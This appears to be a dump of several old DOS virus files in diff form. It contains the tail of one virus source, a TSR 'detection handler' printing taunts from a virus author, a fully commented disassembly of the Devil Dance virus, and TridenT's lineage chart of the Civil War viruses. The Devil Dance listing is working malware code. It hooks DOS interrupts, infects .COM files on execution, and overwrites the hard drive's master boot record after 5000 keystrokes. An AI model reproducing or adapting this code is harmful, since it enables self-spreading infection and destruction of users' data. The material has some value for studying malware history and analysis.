cmp cs:files,0a
|
||||
jne mod_8_ext
|
||||
call word ptr cs:[tabb+8]
|
||||
jmp short mod_8_ext
|
||||
mod_8_exit:
|
||||
stc
|
||||
jmp short mod_8_ex
|
||||
mod_8_ext:
|
||||
clc
|
||||
mod_8_ex:
|
||||
pop bp
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
;---------------------------------------------------------------
|
||||
|
||||
myend db 0
|
||||
|
||||
int 20 ;code of infected file
|
||||
|
||||
false_mod_1:
|
||||
mov word ptr cs:[tabb],offset mod_1
|
||||
ret
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
cseg segment para public 'CODE'
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
org 100h
|
||||
|
||||
begin: mov dx,offset virus_get ; Set Int F2h Handler
|
||||
mov ax,25F2h
|
||||
int 21H
|
||||
mov dx,offset signon ; Tell Them We're Here
|
||||
mov ah,9
|
||||
int 21h
|
||||
mov dx,((offset pgm_len+15)/16)+10h ; Reserve DX Paragraphs Mem
|
||||
mov ax,3100h ; TSR Code 0
|
||||
int 21h
|
||||
|
||||
virus_get proc near
|
||||
|
||||
sti
|
||||
push ax ; Save Registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
cmp dx, 'As' ; Virus?
|
||||
jne okay ; Nope
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov dx,offset warning ; Warn User
|
||||
mov ah,9
|
||||
int 21h
|
||||
|
||||
check: mov ah,1 ; Read Keyboard
|
||||
int 21h
|
||||
cmp al,'C' ; User Wants To Continue
|
||||
je cont
|
||||
cmp al,'c'
|
||||
je cont
|
||||
cmp al,'Q' ; User Wants To Quit
|
||||
je quit
|
||||
cmp al,'q'
|
||||
je quit
|
||||
mov dx,offset bad ; Incorrect Key
|
||||
mov ah,9
|
||||
int 21h
|
||||
jmp check
|
||||
|
||||
quit: mov ah,9 ; 'Contact Havoc The ...'
|
||||
mov dx,offset ending
|
||||
int 21h
|
||||
mov ax,4cffh ; Exit Code 255
|
||||
int 21h
|
||||
|
||||
cont: mov dx,offset crlf ; Send CR/LF
|
||||
mov ah,9
|
||||
int 21h
|
||||
|
||||
okay: pop es ; Restore Registers
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
iret ; Interrupt Return
|
||||
|
||||
virus_get endp
|
||||
|
||||
signon db 10,13,'Gunther Virus Detection Handler Installed.'
|
||||
db 10,13,'Created by Havoc The Chaos'
|
||||
db 10,13,'Copywrite (c) 1992, 1993 by John Burnette'
|
||||
db 10,13,'All Rights Reserved.',10,13,'$'
|
||||
warning db 7,7,7,10,13,'Warning, Interrupt F2h Detected: Gunther Virus is active!'
|
||||
db 10,13,'Continue or Quit (C/Q) ? $'
|
||||
ending db 10,10,13,'Contact Havoc The Chaos for a cure by sending him the virus!',7,'$'
|
||||
bad db 7,7,8,' ',8,'$'
|
||||
crlf db 10,13,'$'
|
||||
|
||||
pgm_len equ $-begin
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
@@ -0,0 +1,625 @@
|
||||
; virus Devil Dance
|
||||
;
|
||||
; disassembled by Marek A. Filipiak October 31, 1990
|
||||
;
|
||||
|
||||
0100 E9090B JMP 0C0C
|
||||
|
||||
; ...
|
||||
; victim code
|
||||
; ...
|
||||
|
||||
;========================================
|
||||
; Virus entry point
|
||||
;========================================
|
||||
|
||||
; find offset of virus code in memory
|
||||
|
||||
0C0C 8B360101 MOV SI,[0101] ; destination of first jump
|
||||
0C10 81C60301 ADD SI,0103 ; PSP + length of jump instruction
|
||||
|
||||
; restore victim starting code
|
||||
|
||||
0C14 56 PUSH SI ; store virus offset in memory
|
||||
0C15 B90300 MOV CX,0003 ; restore oryginal first 3 bytes
|
||||
0C18 81C6A703 ADD SI,03A7 ; address of 3 bytes
|
||||
0C1C BF0001 MOV DI,0100 ; destination
|
||||
0C1F F3 REPZ
|
||||
0C20 A4 MOVSB ; move
|
||||
0C21 5E POP SI ; restore virus base address
|
||||
|
||||
0C22 E81300 CALL 0C38 ; check presence of resident part
|
||||
0C25 7306 JAE 0C2D ; return to aplication
|
||||
|
||||
0C27 E86503 CALL 0F8F ; infect one file in current directory
|
||||
0C2A E82A00 CALL 0C57 ; instal resident part
|
||||
|
||||
; return to aplication
|
||||
|
||||
0C2D B80001 MOV AX,0100 ; return address
|
||||
0C30 50 PUSH AX
|
||||
0C31 8CC8 MOV AX,CS
|
||||
0C33 8ED8 MOV DS,AX
|
||||
0C35 8EC0 MOV ES,AX
|
||||
0C37 C3 RET ; jump to aplication
|
||||
|
||||
;---------------------------
|
||||
; is resident part active?
|
||||
|
||||
0C38 06 PUSH ES
|
||||
0C39 B82135 MOV AX,3521 ; get INT 21h vector
|
||||
0C3C CD21 INT 21
|
||||
|
||||
0C3E 26 ES:
|
||||
0C3F 807FFD44 CMP BYTE PTR [BX-03],44 ; 'D'
|
||||
0C43 750F JNZ 0C54 ; no, exit with carry and NZ
|
||||
|
||||
0C45 26 ES:
|
||||
0C46 807FFE72 CMP BYTE PTR [BX-02],72 ; 'r'
|
||||
0C4A 7508 JNZ 0C54 ; no, exit with carry and NZ
|
||||
|
||||
0C4C 26 ES:
|
||||
0C4D 807FFF6B CMP BYTE PTR [BX-01],6B ; 'k'
|
||||
0C51 07 POP ES
|
||||
0C52 F8 CLC ; exit with no carry and Z or NZ
|
||||
0C53 C3 RET
|
||||
|
||||
0C54 07 POP ES
|
||||
0C55 F9 STC
|
||||
0C56 C3 RET
|
||||
|
||||
;----------------------
|
||||
; instal resident part
|
||||
|
||||
0C57 B8004A MOV AX,4A00 ; change size of allocated memory
|
||||
0C5A BB0010 MOV BX,1000 ; to 64 Kb (size in paragraphs)
|
||||
0C5D 0E PUSH CS
|
||||
0C5E 1F POP DS
|
||||
0C5F CD21 INT 21
|
||||
|
||||
0C61 B80048 MOV AX,4800 ; allocate memory
|
||||
0C64 BB4C00 MOV BX,004C ; requested size (1216 bytes)
|
||||
0C67 CD21 INT 21
|
||||
|
||||
0C69 FC CLD
|
||||
0C6A 8EC0 MOV ES,AX ; segment of allocated block
|
||||
0C6C 56 PUSH SI ; store SI
|
||||
0C6D 8BDE MOV BX,SI ; virus base
|
||||
0C6F BF0301 MOV DI,0103 ; destination
|
||||
0C72 B9AD03 MOV CX,03AD ; virus size (941)
|
||||
0C75 F3 REPZ
|
||||
0C76 A4 MOVSB ; move to new place
|
||||
|
||||
; first 103 bytes of allocated block serve for virus working area
|
||||
|
||||
0C77 26 ES:
|
||||
0C78 C70600000301 MOV WORD PTR [0000],0103 ; virus base in moved code
|
||||
|
||||
0C7E 5E POP SI ; restore SI (virus base)
|
||||
0C7F 1E PUSH DS ; store current DS
|
||||
0C80 06 PUSH ES ; store virus ES
|
||||
0C81 8CC0 MOV AX,ES
|
||||
0C83 48 DEC AX ; segment of MCB
|
||||
0C84 8EC0 MOV ES,AX
|
||||
0C86 26 ES:
|
||||
0C87 C70601000600 MOV WORD PTR [0001],0006 ; paragraph of block owner
|
||||
|
||||
0C8D 07 POP ES ; restore virus ES
|
||||
0C8E 8CC0 MOV AX,ES ; set DS to new virus segment
|
||||
0C90 8ED8 MOV DS,AX
|
||||
0C92 B82135 MOV AX,3521 ; get INT 21h
|
||||
0C95 CD21 INT 21
|
||||
|
||||
0C97 891E0200 MOV [0002],BX ; store INT 21h
|
||||
0C9B 8C060400 MOV [0004],ES
|
||||
0C9F BA9B03 MOV DX,039B ; offset of new handler (here 0EA4h)
|
||||
0CA2 B82125 MOV AX,2521 ; set INT 21h
|
||||
0CA5 CD21 INT 21
|
||||
|
||||
0CA7 B80935 MOV AX,3509 ; get INT 09h
|
||||
0CAA CD21 INT 21
|
||||
|
||||
0CAC 891E0600 MOV [0006],BX ; store it
|
||||
0CB0 8C060800 MOV [0008],ES
|
||||
|
||||
0CB4 C70620000000 MOV WORD PTR [0020],0000 ; reset Alt keystroke counter
|
||||
0CBA C606150000 MOV BYTE PTR [0015],00 ; reset flag ??
|
||||
|
||||
0CBF B80925 MOV AX,2509 ; set INT 09h (keyboard)
|
||||
0CC2 BAC001 MOV DX,01C0 ; offset of new handler (here 0CC9)
|
||||
0CC5 CD21 INT 21
|
||||
|
||||
0CC7 1F POP DS ; restore carrier DS
|
||||
0CC8 C3 RET
|
||||
|
||||
;-----------------------------
|
||||
; INT 09h handler (keyboard)
|
||||
|
||||
0CC9 CC INT 3 : ?? destroyed by some debugger ??
|
||||
0CCA FB STI
|
||||
0CCB 50 PUSH AX ; store AX
|
||||
0CCC 1E PUSH DS ; and DS
|
||||
0CCD 33C0 XOR AX,AX ; set DS to 0
|
||||
0CCF 8ED8 MOV DS,AX
|
||||
0CD1 A01704 MOV AL,[0417] ; BIOS, shift status
|
||||
0CD4 2408 AND AL,08 ; extract Alt key
|
||||
0CD6 3C08 CMP AL,08 ; is active?
|
||||
0CD8 7503 JNZ 0CDD ; not presed
|
||||
|
||||
0CDA E98300 JMP 0D60 ; check for Del key
|
||||
|
||||
0CDD 2E CS:
|
||||
0CDE FF062000 INC WORD PTR [0020] ; keystroke counter
|
||||
0CE2 2E CS:
|
||||
0CE3 803E150001 CMP BYTE PTR [0015],01 ; ?? flag ??
|
||||
0CE8 740B JZ 0CF5
|
||||
|
||||
0CEA 2E CS:
|
||||
0CEB 833E20000A CMP WORD PTR [0020],+0A ; exactly 10 keys were presed?
|
||||
0CF0 7403 JZ 0CF5 ; yes
|
||||
|
||||
; exit
|
||||
|
||||
0CF2 EB64 JMP 0D58 ; exit to true INT 9
|
||||
0CF4 90 NOP
|
||||
|
||||
; exactly ten keys has been presed or flag [0015] has been set
|
||||
; change attribute at curent cursor position
|
||||
|
||||
0CF5 52 PUSH DX
|
||||
0CF6 56 PUSH SI
|
||||
0CF7 53 PUSH BX
|
||||
0CF8 06 PUSH ES
|
||||
0CF9 51 PUSH CX
|
||||
0CFA BE0301 MOV SI,0103 ; virus base
|
||||
0CFD 81C62202 ADD SI,0222 ; encrypted part of code (here 0E2Eh)
|
||||
0D01 2E CS:
|
||||
0D02 C606150001 MOV BYTE PTR [0015],01 ; set flag
|
||||
0D07 2E CS:
|
||||
0D08 8B1E2B03 MOV BX,[032B] ; (here 0E34h)
|
||||
0D0C 2E CS:
|
||||
0D0D FF062B03 INC WORD PTR [032B] ; increase attribute counter
|
||||
0D11 81FB2B03 CMP BX,032B
|
||||
0D15 7302 JAE 0D19 ; skip counter reset
|
||||
|
||||
0D17 EB0A JMP 0D23
|
||||
|
||||
0D19 2E CS:
|
||||
0D1A C7062B032503 MOV WORD PTR [032B],0325 ; reset counter
|
||||
0D20 BB2503 MOV BX,0325 ; set BX to new value
|
||||
|
||||
0D23 CD11 INT 11 ; equipment list
|
||||
|
||||
0D25 2430 AND AL,30 ; video monitor
|
||||
0D27 3D3000 CMP AX,0030 ; monochrome
|
||||
0D2A 7505 JNZ 0D31 ; no
|
||||
|
||||
; mistake!
|
||||
|
||||
0D2C B800B8 MOV AX,B800 ; should be B000
|
||||
0D2F EB03 JMP 0D34
|
||||
|
||||
0D31 B800B8 MOV AX,B800 ; segment of video RAM
|
||||
|
||||
0D34 8EC0 MOV ES,AX ; initialize ES (video RAM)
|
||||
0D36 2E CS:
|
||||
0D37 8A07 MOV AL,[BX] ; number between 09 .. 0E
|
||||
0D39 50 PUSH AX
|
||||
|
||||
; find screen address of current cursor position
|
||||
|
||||
0D3A A15004 MOV AX,[0450] ; (DS = 0) get current cursor position
|
||||
0D3D 86E0 XCHG AL,AH ; swap column, row
|
||||
0D3F 8ADC MOV BL,AH ; row
|
||||
0D41 32E4 XOR AH,AH ; AX := row
|
||||
0D43 32FF XOR BH,BH ; BX := column
|
||||
0D45 B9A000 MOV CX,00A0 ; 160, length of one line
|
||||
0D48 F7E1 MUL CX
|
||||
0D4A D1E3 SHL BX,1 ; mulitply by 2
|
||||
0D4C 03D8 ADD BX,AX
|
||||
|
||||
0D4E 43 INC BX ; attribute field
|
||||
0D4F 58 POP AX ; restore choosen attribute
|
||||
0D50 26 ES:
|
||||
0D51 8807 MOV [BX],AL ; put it on the screen
|
||||
|
||||
; exit
|
||||
|
||||
0D53 59 POP CX
|
||||
0D54 07 POP ES
|
||||
0D55 5B POP BX
|
||||
0D56 5E POP SI
|
||||
0D57 5A POP DX
|
||||
|
||||
0D58 1F POP DS
|
||||
0D59 58 POP AX
|
||||
0D5A FA CLI
|
||||
0D5B 2E CS:
|
||||
0D5C FF2E0600 JMP FAR [0006] ; true INT 9
|
||||
|
||||
; Alt key is presed
|
||||
|
||||
0D60 E460 IN AL,60 ; read keyboard scan code
|
||||
0D62 3C53 CMP AL,53 ; Del?
|
||||
0D64 7407 JZ 0D6D ; yes, procede
|
||||
|
||||
; exit to true INT 9
|
||||
|
||||
0D66 1F POP DS
|
||||
0D67 58 POP AX
|
||||
0D68 2E CS:
|
||||
0D69 FF2E0600 JMP FAR [0006]
|
||||
|
||||
; Alt + Del service
|
||||
|
||||
0D6D CD11 INT 11 ; equipment list
|
||||
|
||||
; again mistake! Decimaly 48 is 30 in hex
|
||||
|
||||
0D6F 254800 AND AX,0048 ; ??
|
||||
0D72 3D4800 CMP AX,0048 ; ??
|
||||
0D75 7505 JNZ 0D7C
|
||||
|
||||
; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved
|
||||
; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K)
|
||||
; so probably AX and 48 almost always will be equol 48.
|
||||
|
||||
0D77 B800B0 MOV AX,B000 ; monochrome
|
||||
0D7A EB03 JMP 0D7F
|
||||
|
||||
0D7C B800B8 MOV AX,B800 ; other
|
||||
|
||||
0D7F 8EC0 MOV ES,AX ; initial ES to video segment
|
||||
0D81 8CC8 MOV AX,CS ; restore DS
|
||||
0D83 8ED8 MOV DS,AX
|
||||
0D85 33FF XOR DI,DI ; clear screen location pointer
|
||||
0D87 B407 MOV AH,07 ; attribute
|
||||
0D89 B0B1 MOV AL,B1 ; chracter ± (177)
|
||||
0D8B B9D007 MOV CX,07D0 ; size of screen
|
||||
0D8E F3 REPZ
|
||||
0D8F AB STOSW ; fill screen with box character
|
||||
|
||||
; display first part of mesage: Have you ever danced ...
|
||||
|
||||
0D90 BF4A06 MOV DI,064A ; offset of column 10, row 10
|
||||
0D93 BE3103 MOV SI,0331 ; offset of message
|
||||
|
||||
0D96 AC LODSB ; get next character
|
||||
0D97 2C80 SUB AL,80 ; decrypt
|
||||
0D99 0AC0 OR AL,AL ; end of string?
|
||||
0D9B 740D JZ 0DAA ; yes
|
||||
|
||||
0D9D B40F MOV AH,0F ; attribute
|
||||
0D9F AB STOSW ; put on screen
|
||||
0DA0 B900A0 MOV CX,A000 ; constant for pause
|
||||
|
||||
0DA3 050100 ADD AX,0001 ; small pause
|
||||
0DA6 E2FB LOOP 0DA3
|
||||
|
||||
0DA8 EBEC JMP 0D96 ; disply next character
|
||||
|
||||
; display next message: Pray for your disk!
|
||||
|
||||
0DAA BF7008 MOV DI,0870 ; row 13, column 40
|
||||
0DAD BE7703 MOV SI,0377
|
||||
0DB0 AC LODSB
|
||||
|
||||
0DB1 2C80 SUB AL,80
|
||||
0DB3 0AC0 OR AL,AL
|
||||
0DB5 740D JZ 0DC4
|
||||
|
||||
0DB7 B40F MOV AH,0F
|
||||
0DB9 AB STOSW
|
||||
|
||||
0DBA B900A0 MOV CX,A000
|
||||
|
||||
0DBD 050100 ADD AX,0001
|
||||
0DC0 E2FB LOOP 0DBD
|
||||
|
||||
0DC2 EBEC JMP 0DB0
|
||||
|
||||
; disply third part of message, The_Jocker...
|
||||
|
||||
0DC4 BFB009 MOV DI,09B0 ; row 15, column 40
|
||||
0DC7 BE8B03 MOV SI,038B
|
||||
|
||||
0DCA AC LODSB
|
||||
0DCB 2C80 SUB AL,80 ; decrypt
|
||||
0DCD 0AC0 OR AL,AL ; end of string?
|
||||
0DCF 740D JZ 0DDE ; yes
|
||||
|
||||
0DD1 B40F MOV AH,0F ; attribute
|
||||
0DD3 AB STOSW
|
||||
|
||||
0DD4 B900A0 MOV CX,A000 ; time constant
|
||||
|
||||
0DD7 050100 ADD AX,0001 ; small pause
|
||||
0DDA E2FB LOOP 0DD7
|
||||
|
||||
0DDC EBEC JMP 0DCA ; get next character
|
||||
|
||||
; diplay the rest: Ha Ha Ha ...
|
||||
|
||||
0DDE BA1E00 MOV DX,001E ; starting column (15)
|
||||
0DE1 B90A00 MOV CX,000A ; counter
|
||||
|
||||
0DE4 51 PUSH CX
|
||||
0DE5 BF400B MOV DI,0B40 ; row 18, column 1
|
||||
0DE8 52 PUSH DX
|
||||
0DE9 D1E2 SHL DX,1 ; DX := 3C
|
||||
0DEB 03FA ADD DI,DX ; move coursor 30 characters right
|
||||
0DED 5A POP DX
|
||||
0DEE BE2D03 MOV SI,032D ; offset of 'Ha ',0
|
||||
|
||||
0DF1 AC LODSB ; get next character
|
||||
0DF2 2C80 SUB AL,80 ; decrypt
|
||||
0DF4 0AC0 OR AL,AL ; end of string
|
||||
0DF6 740D JZ 0E05 ; yes
|
||||
|
||||
0DF8 B40F MOV AH,0F ; attribute
|
||||
0DFA AB STOSW ; display
|
||||
|
||||
0DFB B900A0 MOV CX,A000 ; time constant
|
||||
|
||||
0DFE 050100 ADD AX,0001 ; small pause
|
||||
0E01 E2FB LOOP 0DFE
|
||||
|
||||
0E03 EBEC JMP 0DF1 ; get next character
|
||||
|
||||
0E05 83C203 ADD DX,+03 ; move cursor 3 positions right
|
||||
0E08 59 POP CX ; restore counter
|
||||
0E09 E2D9 LOOP 0DE4
|
||||
|
||||
0E0B B020 MOV AL,20 ; enable hardware interrupts
|
||||
0E0D E620 OUT 20,AL
|
||||
|
||||
0E0F 2E CS:
|
||||
0E10 813E20008813 CMP WORD PTR [0020],1388 ; 5000 keystrokes
|
||||
0E16 7305 JAE 0E1D ; perform destruction
|
||||
|
||||
0E18 EAF0FF00F0 JMP F000:FFF0 ; cold reset
|
||||
|
||||
0E1D B80000 MOV AX,0000 ; reset disk
|
||||
0E20 CD13 INT 13
|
||||
|
||||
; overwrite Master Boot Sector of first hard drive
|
||||
|
||||
0E22 B80103 MOV AX,0301 ; write one sector
|
||||
0E25 33C9 XOR CX,CX
|
||||
0E27 41 INC CX ; track 0, sector 1
|
||||
0E28 33D2 XOR DX,DX ; head 0
|
||||
0E2A B280 MOV DL,80 ; first hard drive
|
||||
0E2C CD13 INT 13
|
||||
|
||||
; after destruction computer will crush trying execute working area bytes
|
||||
|
||||
;--------------
|
||||
; working area
|
||||
|
||||
0E2E 09 0A 0B 0C 0D 0E ; [0325],... set of attributes to put onto screen
|
||||
0E34 26 03 ; counter, points at one out of six above bytes
|
||||
|
||||
; encrypted ASCIIZ strings (to any character 80h is added)
|
||||
|
||||
0E36 C8 E1 A0 80 ; encrypted 'Ha ',0
|
||||
|
||||
0E3A C8 E1 F6 E5 A0 F9 Have y
|
||||
0E40 EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7 ou ever danced w
|
||||
0E50 E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE ith the devil un
|
||||
0E60 E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7 der the weak lig
|
||||
0E70 E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80 ht of the moon?.
|
||||
|
||||
0E80 D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9 Pray for your di
|
||||
0E90 F3 EB A1 80 sk!.
|
||||
|
||||
0E94 D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80 The_Joker....
|
||||
|
||||
0EA1 44 72 6B ; signature of virus resident part: 'Drk'
|
||||
|
||||
;-----------------------------
|
||||
; new INT 21h handler
|
||||
|
||||
0EA4 9C PUSHF
|
||||
0EA5 3D004B CMP AX,4B00 ; Load and execute
|
||||
0EA8 7420 JZ 0ECA
|
||||
|
||||
0EAA 80FC49 CMP AH,49 ; free allocated memory
|
||||
0EAD 7403 JZ 0EB2
|
||||
|
||||
0EAF EB13 JMP 0EC4 ; exit to old INT 21h
|
||||
0EB1 90 NOP
|
||||
|
||||
; free allocated memory service
|
||||
|
||||
0EB2 50 PUSH AX
|
||||
0EB3 53 PUSH BX
|
||||
0EB4 8CC8 MOV AX,CS ; compare requested block with
|
||||
0EB6 8CC3 MOV BX,ES ; block actualy ocupied by virus
|
||||
0EB8 3BD8 CMP BX,AX
|
||||
0EBA 5B POP BX
|
||||
0EBB 58 POP AX
|
||||
0EBC 7506 JNZ 0EC4 ; blocks are different, exit
|
||||
|
||||
0EBE F8 CLC ; clear carry (no error!)
|
||||
0EBF 8CC0 MOV AX,ES ; put own segment into AX
|
||||
0EC1 CA0200 RETF 0002
|
||||
|
||||
; exit to old INT 21h
|
||||
|
||||
0EC4 9D POPF
|
||||
0EC5 2E CS:
|
||||
0EC6 FF2E0200 JMP FAR [0002]
|
||||
|
||||
; load and execute service
|
||||
|
||||
0ECA 55 PUSH BP
|
||||
0ECB 50 PUSH AX
|
||||
0ECC 53 PUSH BX
|
||||
0ECD 51 PUSH CX
|
||||
0ECE 52 PUSH DX
|
||||
0ECF 1E PUSH DS
|
||||
0ED0 06 PUSH ES
|
||||
0ED1 56 PUSH SI
|
||||
0ED2 57 PUSH DI
|
||||
|
||||
0ED3 FC CLD
|
||||
0ED4 8BF2 MOV SI,DX ; ASCIIZ file name
|
||||
|
||||
0ED6 AC LODSB ; find end of file name
|
||||
0ED7 0AC0 OR AL,AL ; end of string?
|
||||
0ED9 7402 JZ 0EDD ; yes
|
||||
|
||||
0EDB EBF9 JMP 0ED6 ; get next character
|
||||
|
||||
0EDD 83EE04 SUB SI,+04 ; point at first char of extension
|
||||
0EE0 803C43 CMP BYTE PTR [SI],43 ; 'C' is it COM file
|
||||
0EE3 7502 JNZ 0EE7 ; maybe lower case?
|
||||
|
||||
0EE5 7405 JZ 0EEC ; infect
|
||||
|
||||
0EE7 803C63 CMP BYTE PTR [SI],63 ; 'c'
|
||||
0EEA 752B JNZ 0F17 ; exit
|
||||
|
||||
; prepare infection
|
||||
|
||||
0EEC B42F MOV AH,2F ; get DTA
|
||||
0EEE CD21 INT 21
|
||||
|
||||
0EF0 06 PUSH ES
|
||||
0EF1 53 PUSH BX
|
||||
0EF2 52 PUSH DX
|
||||
0EF3 1E PUSH DS
|
||||
0EF4 0E PUSH CS
|
||||
0EF5 1F POP DS
|
||||
0EF6 BA8000 MOV DX,0080 ; offset of local DTA
|
||||
0EF9 B41A MOV AH,1A ; set DTA
|
||||
0EFB CD21 INT 21
|
||||
|
||||
; get date of loaded file into local DTA
|
||||
|
||||
0EFD 1F POP DS
|
||||
0EFE 5A POP DX ; offset of file name
|
||||
0EFF B44E MOV AH,4E ; find first
|
||||
0F01 B92300 MOV CX,0023 ; attributes: Subdir, Hiden, Read Only
|
||||
0F04 CD21 INT 21
|
||||
|
||||
0F06 8CC8 MOV AX,CS
|
||||
0F08 8ED8 MOV DS,AX
|
||||
0F0A 8B360000 MOV SI,[0000]
|
||||
|
||||
0F0E E81500 CALL 0F26 ; infect file
|
||||
|
||||
0F11 5A POP DX
|
||||
0F12 1F POP DS
|
||||
0F13 B41A MOV AH,1A ; restore DTA
|
||||
0F15 CD21 INT 21
|
||||
|
||||
0F17 5F POP DI
|
||||
0F18 5E POP SI
|
||||
0F19 07 POP ES
|
||||
0F1A 1F POP DS
|
||||
0F1B 5A POP DX
|
||||
0F1C 59 POP CX
|
||||
0F1D 5B POP BX
|
||||
0F1E 58 POP AX
|
||||
0F1F 5D POP BP
|
||||
0F20 9D POPF
|
||||
0F21 2E CS:
|
||||
0F22 FF2E0200 JMP FAR [0002] ; exit to old INT 21h
|
||||
|
||||
;-------------
|
||||
; infect file
|
||||
|
||||
0F26 33C9 XOR CX,CX ; clear all attributes
|
||||
0F28 B80143 MOV AX,4301 ; set attributes
|
||||
0F2B BA9E00 MOV DX,009E ; fille name (in carrier DTA!)
|
||||
0F2E 33C9 XOR CX,CX ; ?? again ??
|
||||
0F30 CD21 INT 21
|
||||
|
||||
0F32 B8023D MOV AX,3D02 ; open file for read/write
|
||||
0F35 BA9E00 MOV DX,009E ; file name
|
||||
0F38 CD21 INT 21
|
||||
|
||||
0F3A 8BD8 MOV BX,AX ; store handle
|
||||
0F3C 7301 JAE 0F3F ; no error
|
||||
|
||||
0F3E C3 RET
|
||||
|
||||
0F3F B43F MOV AH,3F ; read file
|
||||
0F41 B90300 MOV CX,0003 ; 3 bytes
|
||||
0F44 8BD6 MOV DX,SI ; virus base
|
||||
0F46 81C2A703 ADD DX,03A7 ; buffer for oryginal 3 bytes
|
||||
0F4A CD21 INT 21
|
||||
|
||||
0F4C 7305 JAE 0F53 ; no error
|
||||
|
||||
0F4E B43E MOV AH,3E ; close file
|
||||
0F50 CD21 INT 21
|
||||
|
||||
0F52 C3 RET
|
||||
|
||||
0F53 B80042 MOV AX,4200 ; move file pointer
|
||||
0F56 33C9 XOR CX,CX ; at the beginning
|
||||
0F58 8BD1 MOV DX,CX ; of file
|
||||
0F5A CD21 INT 21
|
||||
|
||||
0F5C A19A00 MOV AX,[009A] ; get file length
|
||||
0F5F 2D0300 SUB AX,0003 ; sub first 3 bytes
|
||||
0F62 2E CS:
|
||||
0F63 8984AB03 MOV [SI+03AB],AX ; size of block to write
|
||||
0F67 8BD6 MOV DX,SI
|
||||
0F69 81C2AA03 ADD DX,03AA
|
||||
0F6D B440 MOV AH,40 ; write to file
|
||||
0F6F B90300 MOV CX,0003 ; new first 3 bytes
|
||||
0F72 CD21 INT 21
|
||||
|
||||
0F74 7302 JAE 0F78 ; continue
|
||||
|
||||
0F76 EBD6 JMP 0F4E ; error, exit
|
||||
|
||||
0F78 B80242 MOV AX,4202 ; move file pointer
|
||||
0F7B 33C9 XOR CX,CX ; at the end
|
||||
0F7D 8BD1 MOV DX,CX ; of file
|
||||
0F7F CD21 INT 21
|
||||
|
||||
0F81 B440 MOV AH,40 ; write file
|
||||
0F83 B9AD03 MOV CX,03AD ; number of bytes (941)
|
||||
0F86 8BD6 MOV DX,SI ; address of virus first byte
|
||||
0F88 CD21 INT 21
|
||||
|
||||
0F8A B43E MOV AH,3E ; close file
|
||||
0F8C CD21 INT 21
|
||||
|
||||
0F8E C3 RET
|
||||
|
||||
;----------------------------------------------
|
||||
; find file in current directory and infect it
|
||||
|
||||
0F8F B44E MOV AH,4E ; find first
|
||||
0F91 B92300 MOV CX,0023 ; attributes: Archive, Hiden, Read Only
|
||||
0F94 8BD6 MOV DX,SI
|
||||
0F96 81C2A103 ADD DX,03A1 ; file name: *.COM
|
||||
0F9A CD21 INT 21
|
||||
|
||||
0F9C 7303 JAE 0FA1 ; infect
|
||||
|
||||
0F9E EB0C JMP 0FAC ; RET
|
||||
0FA0 90 NOP
|
||||
|
||||
0FA1 E882FF CALL 0F26 ; infect
|
||||
|
||||
0FA4 B44F MOV AH,4F ; find next
|
||||
0FA6 CD21 INT 21
|
||||
0FA8 7202 JB 0FAC ; RET
|
||||
|
||||
0FAA EBF5 JMP 0FA1 ; infect
|
||||
|
||||
0FAC C3 RET
|
||||
|
||||
|
||||
0FAD 2A 2E 63 6F 6D 00 ; *.COM, 0
|
||||
0FB3 E9 5C 07 ; oryginal 3 bytes of carrier COM file
|
||||
|
||||
; end of infected file
|
||||
;----------------------
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
|
||||
Relationchart of the Civil War and related viruses, (c) 1993 by TridenT.
|
||||
|
||||
Below you find the relation chart of the Civil War based viruses.
|
||||
This is the only correct relationchart, don't trust the
|
||||
information you may find in VSUM, F-Prot etc. or the CARO naming
|
||||
because they contains a lot of errors
|
||||
|
||||
Greetings, DH / TridenT
|
||||
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
Civil War
|
||||
|
|
||||
+--> Civil War II v1.0 --> Proto-T --> Lockjaw Eins
|
||||
| | |
|
||||
| | +--> Lockjaw Zwei
|
||||
| | |
|
||||
| | +--> Lockjaw Drei
|
||||
| |
|
||||
| +--> Civil War II v1.1 --> Civil War III
|
||||
| |
|
||||
| +--> Civil War V
|
||||
|
|
||||
+--> Civil War IV v1.0
|
||||
|
|
||||
+--> Civil War IV v1.1
|
||||
|
|
||||
+-> Civil War IV v1.2
|
||||
|
|
||||
+--> Civil War IV v1.3
|
||||
|
||||
|
||||
|
||||
|
||||
Original Name CARO Name
|
||||
------------------------------------------------------------------------------
|
||||
Civil War Civil War
|
||||
Civil War II v1.0 Proto-T.Civil_War_II
|
||||
Civil War II v1.1 -
|
||||
Civil War III -
|
||||
Civil War IV v1.0 TPE_1_3.Civil_War.A
|
||||
Civil War IV v1.1 TPE_1_3.Civil_War.B
|
||||
Civil War IV v1.2 -
|
||||
Civil War IV v1.3 -
|
||||
Civil War V TPE_1_3.Civil_War.C
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
R C E P
|
||||
--------
|
||||
Civil War . x . .
|
||||
Civil War II v1.0 x x . .
|
||||
Civil War II v1.1 x x . .
|
||||
Civil War III x x x .
|
||||
Civil War IV v1.0 . x . x
|
||||
Civil War IV v1.1 . x . x
|
||||
Civil War IV v1.1 . x . x
|
||||
Civil War IV v1.2 . x . x
|
||||
Civil War IV v1.3 . x . x
|
||||
Civil War V x x . x
|
||||
|
||||
|
||||
Code : R = Resident
|
||||
